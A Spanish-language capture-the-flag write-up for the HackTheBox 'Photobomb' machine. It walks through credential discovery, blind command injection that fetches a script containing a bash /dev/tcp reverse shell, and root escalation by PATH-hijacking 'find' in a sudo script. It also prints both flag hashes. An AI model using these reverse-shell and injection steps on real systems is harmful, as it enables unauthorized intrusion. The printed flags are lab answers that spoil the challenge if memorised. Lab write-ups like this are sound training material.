HackTheBox - Photobomb (easy)
- Photobomb is an easy Linux machine where plaintext credentials are used to access an internal web application with a
Download
functionality that is vulnerable to a blind command injection. Once a foothold as the machine main user is established, a poorly configured shell script that references binaries without their full paths is leveraged to obtain escalated privileges, as it can be ran withsudo
.
PortScan
❯ catn ../nmap/targeted
# Nmap 7.94SVN scan initiated Sun Sep 29 12:39:55 2024 as: nmap -sCV -p22,80 -oN targeted 10.10.11.182
Nmap scan report for 10.10.11.182
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
| 256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 29 12:40:32 2024 -- 1 IP address (1 host up) scanned in 36.79 seconds
Enumeración
- Agregamos el subdominio al
/etc/hosts
.
❯ echo "10.10.11.182 photobomb.htb" | sudo tee -a /etc/hosts
- Esta es la pagina web.
-
Nos dicen que demos
click
en la parte morada y que las credenciales las encontraremos en nuestro paquete de inicio. -
Si damos
click
nos piden credenciales pero por el momento no tenemos ningunas.
- Si revisamos el código fuente en el archivo
Javascript
encontramos lo que parecen ser credenciales.
- Si las probamos nos deja conectarnos.
Shell as wizard
- Ahora lo que vamos a hacer es interceptar con
Burpsuite
la petición al momento de darclick
en el botón rojo para ver como viaja la petición.
- Después de probar varias inyecciones en la parte de
filetype
podemos concatenar un comando en esta ocasión me hago una petición a un script el cual por el momento no existe y me llega la petición.
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.182 - - [29/Sep/2024 13:14:05] code 404, message File not found
10.10.11.182 - - [29/Sep/2024 13:14:05] "GET /shell.sh HTTP/1.1" 404 -
- Sabiendo que podemos inyectar comandos vamos a crear el archivo para obtener una reverse Shell.
❯ cat shell.sh
───────┬──────────────────────────────────────────────────
│ File: shell.sh
───────┼──────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ bash -i >& /dev/tcp/10.10.14.30/443 0>&1
───────┴──────────────────────────────────────────────────
- Ahora nos ponemos en escucha.
❯ nc -nlvp 443
listening on [any] 443 ...
-
Y simplemente enviamos la petición.
-
Agregamos
| bash
para que lo interprete.
- Nos llega la Shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.182] 43738
bash: cannot set terminal process group (697): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ whoami
whoami
wizard
wizard@photobomb:~/photobomb$
- Ahora hacemos un tratamiento de la
tty
.
wizard@photobomb:~/photobomb$ script /dev/null -c bash
wizard@photobomb:~/photobomb$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
ENTER
User flag
- Podemos ver la flag.
wizard@photobomb:~$ cat user.txt
c2dd57cf27062d9098da457334b87181
wizard@photobomb:~$
Escalada de Privilegios
- No vemos nada interesante.
wizard@photobomb:/$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/su
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/umount
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
- Podemos correr ese script como
root
sin proporcionar contraseñas ysetear
variables de entorno.
wizard@photobomb:/$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:/$
- Con
find
esta buscando todos los archivos con extensión".jpg"
en el directorio"source_images"
y sus subdirectorios, y cambia el propietario y grupo de cada archivo encontrado a"root:root"
.
wizard@photobomb:/$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
- Tenemos la capacidad de modificar variables como el
'path'
para utilizar un comando'find'
personalizado. Además, si ejecutamos el comando'find'
con privilegios de administrador, el'find'
se ejecutará con permisos deroot
.
- Vamos a darnos una
bash
.
wizard@photobomb:~$ echo bash > find
wizard@photobomb:~$ chmod +x find
- Ahora modificamos el
path
temporalmente para dar prioridad al directorio actual.
wizard@photobomb:~$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
root
root@photobomb:/home/wizard/photobomb#
root flag
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
b740fbec8fa61254b2467d424ac7aaaa